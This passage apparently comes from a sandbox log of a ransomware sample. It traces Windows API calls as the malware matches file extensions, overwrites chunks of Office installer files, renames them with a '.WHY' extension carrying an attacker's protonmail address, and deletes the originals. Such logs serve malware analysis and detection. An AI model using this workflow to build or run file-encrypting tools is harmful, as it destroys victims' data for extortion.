lpString2=".msi") returned 1 [0068.173] lstrlenW (lpString=".xlsx") returned 5 [0068.173] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0068.173] lstrlenW (lpString=".ppt") returned 4 [0068.173] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.173] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.173] lstrlenW (lpString=".zip") returned 4 [0068.174] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.174] lstrlenW (lpString=".rar") returned 4 [0068.174] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.174] lstrlenW (lpString=".bz2") returned 4 [0068.174] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.174] lstrlenW (lpString=".7z") returned 3 [0068.174] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.174] lstrlenW (lpString=".dbf") returned 4 [0068.174] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.175] lstrlenW (lpString=".1cd") returned 4 [0068.175] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.175] lstrlenW (lpString=".jpg") returned 4 [0068.175] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.176] lstrlenW (lpString=".doc") returned 4 [0068.176] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.176] lstrlenW (lpString=".docx") returned 5 [0068.176] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0068.176] lstrlenW (lpString=".pdf") returned 4 [0068.176] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.176] lstrlenW (lpString=".xls") returned 4 [0068.176] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.176] lstrlenW (lpString=".xlsx") returned 5 [0068.176] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0068.176] lstrlenW (lpString=".ppt") returned 4 [0068.176] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.177] lstrlenW (lpString=".zip") returned 4 [0068.177] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.177] lstrlenW (lpString=".rar") returned 4 [0068.177] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.177] lstrlenW (lpString=".bz2") returned 4 [0068.177] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.177] lstrlenW (lpString=".7z") returned 3 [0068.177] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.177] lstrlenW (lpString=".dbf") returned 4 [0068.177] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.177] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.177] lstrlenW (lpString=".1cd") returned 4 [0068.178] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0068.178] lstrlenW (lpString=".jpg") returned 4 [0068.178] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.178] lstrcmpiW (lpString1=".cab", lpString2=".WHY") returned -1 [0068.178] lstrlenW (lpString="PubLR.cab") returned 9 [0068.178] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0069.025] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x393ff1c | out: lpFileSize=0x393ff1c*=9958388) returned 1 [0069.025] CloseHandle (hObject=0x1a0) returned 1 [0069.025] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0069.025] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0069.025] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0069.026] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0069.337] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc6c | out: lpNewFilePointer=0x0) returned 1 [0069.337] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.337] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.752] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.752] ReadFile (in: hFile=0x1f8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.787] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x393fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0069.787] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: lpNewFilePointer=0x0) returned 1 [0069.787] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x393fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x393fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.948] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.949] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x393fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x393fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0070.195] SetEndOfFile (hFile=0x1f8) returned 1 [0070.196] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x4022060 [0070.408] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.408] WriteFile (in: hFile=0x1f8, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x393fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x393fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.412] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x393fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.412] WriteFile (in: hFile=0x1f8, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x393fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x393fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.426] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x393fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.426] WriteFile (in: hFile=0x1f8, lpBuffer=0x4022060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x393fc88, lpOverlapped=0x0 | out: lpBuffer=0x4022060*, lpNumberOfBytesWritten=0x393fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.442] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4022060 | out: hHeap=0x4c0000) returned 1 [0070.442] CloseHandle (hObject=0x1f8) returned 1 [0079.782] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0079.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.783] lstrlenW (lpString=".doc") returned 4 [0079.783] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.783] lstrlenW (lpString=".docx") returned 5 [0079.783] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0079.783] lstrlenW (lpString=".pdf") returned 4 [0079.783] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.783] lstrlenW (lpString=".xls") returned 4 [0079.784] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.784] lstrlenW (lpString=".xlsx") returned 5 [0079.784] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0079.784] lstrlenW (lpString=".ppt") returned 4 [0079.784] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.784] lstrlenW (lpString=".zip") returned 4 [0079.784] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.784] lstrlenW (lpString=".rar") returned 4 [0079.784] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.784] lstrlenW (lpString=".bz2") returned 4 [0079.784] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.784] lstrlenW (lpString=".7z") returned 3 [0079.784] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.785] lstrlenW (lpString=".dbf") returned 4 [0079.785] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.785] lstrlenW (lpString=".1cd") returned 4 [0079.785] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.785] lstrlenW (lpString=".jpg") returned 4 [0079.785] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.785] lstrlenW (lpString=".doc") returned 4 [0079.786] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.786] lstrlenW (lpString=".docx") returned 5 [0079.786] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0079.786] lstrlenW (lpString=".pdf") returned 4 [0079.786] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.786] lstrlenW (lpString=".xls") returned 4 [0079.786] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.786] lstrlenW (lpString=".xlsx") returned 5 [0079.786] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0079.786] lstrlenW (lpString=".ppt") returned 4 [0079.786] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.786] lstrlenW (lpString=".zip") returned 4 [0079.786] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.787] lstrlenW (lpString=".rar") returned 4 [0079.787] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.787] lstrlenW (lpString=".bz2") returned 4 [0079.787] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.787] lstrlenW (lpString=".7z") returned 3 [0079.787] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.787] lstrlenW (lpString=".dbf") returned 4 [0079.787] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.787] lstrlenW (lpString=".1cd") returned 4 [0079.787] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0079.788] lstrlenW (lpString=".jpg") returned 4 [0079.788] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.788] lstrcmpiW (lpString1=".msi", lpString2=".WHY") returned -1 [0079.788] lstrlenW (lpString="Proof.msi") returned 9 [0079.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0079.789] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x393ff1c | out: lpFileSize=0x393ff1c*=875520) returned 1 [0079.789] CloseHandle (hObject=0x1f8) returned 1 [0079.789] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0079.789] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0079.789] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0079.790] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.790] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.790] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0079.791] GetLastError () returned 0x0 [0079.791] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x393fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x393fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0080.315] WriteFile (in: hFile=0x1e4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x393fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x393fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0080.742] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x393fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x393fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.742] WriteFile (in: hFile=0x1e4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x393fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x393fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0080.742] SetEndOfFile (hFile=0x1e4) returned 1 [0080.743] CloseHandle (hObject=0x1e4) returned 1 [0081.166] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.167] SetEndOfFile (hFile=0x1f8) returned 1 [0081.598] CloseHandle (hObject=0x1f8) returned 1 [0081.598] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0081.599] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0081.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.599] lstrlenW (lpString=".doc") returned 4 [0081.599] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.599] lstrlenW (lpString=".docx") returned 5 [0081.599] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0081.599] lstrlenW (lpString=".pdf") returned 4 [0081.599] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.599] lstrlenW (lpString=".xls") returned 4 [0081.600] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.600] lstrlenW (lpString=".xlsx") returned 5 [0081.600] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0081.600] lstrlenW (lpString=".ppt") returned 4 [0081.600] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.600] lstrlenW (lpString=".zip") returned 4 [0081.600] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.600] lstrlenW (lpString=".rar") returned 4 [0081.600] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.600] lstrlenW (lpString=".bz2") returned 4 [0081.600] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.600] lstrlenW (lpString=".7z") returned 3 [0081.600] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.601] lstrlenW (lpString=".dbf") returned 4 [0081.601] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.601] lstrlenW (lpString=".1cd") returned 4 [0081.601] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.601] lstrlenW (lpString=".jpg") returned 4 [0081.601] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.601] lstrlenW (lpString=".doc") returned 4 [0081.601] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.601] lstrlenW (lpString=".docx") returned 5 [0081.601] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0081.602] lstrlenW (lpString=".pdf") returned 4 [0081.602] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.602] lstrlenW (lpString=".xls") returned 4 [0081.602] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.602] lstrlenW (lpString=".xlsx") returned 5 [0081.602] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0081.602] lstrlenW (lpString=".ppt") returned 4 [0081.602] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.602] lstrlenW (lpString=".zip") returned 4 [0081.602] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.602] lstrlenW (lpString=".rar") returned 4 [0081.602] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.602] lstrlenW (lpString=".bz2") returned 4 [0081.602] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.603] lstrlenW (lpString=".7z") returned 3 [0081.603] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.603] lstrlenW (lpString=".dbf") returned 4 [0081.603] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.603] lstrlenW (lpString=".1cd") returned 4 [0081.603] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0081.603] lstrlenW (lpString=".jpg") returned 4 [0081.603] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.604] lstrcmpiW (lpString1=".cab", lpString2=".WHY") returned -1 [0081.604] lstrlenW (lpString="Proof.cab") returned 9 [0081.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0082.118] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x393ff1c | out: lpFileSize=0x393ff1c*=13642474) returned 1 [0082.119] CloseHandle (hObject=0x1dc) returned 1 [0082.119] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0082.119] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0082.119] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0082.136] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0082.136] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc6c | out: lpNewFilePointer=0x0) returned 1 [0082.138] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x393fc2c | out: 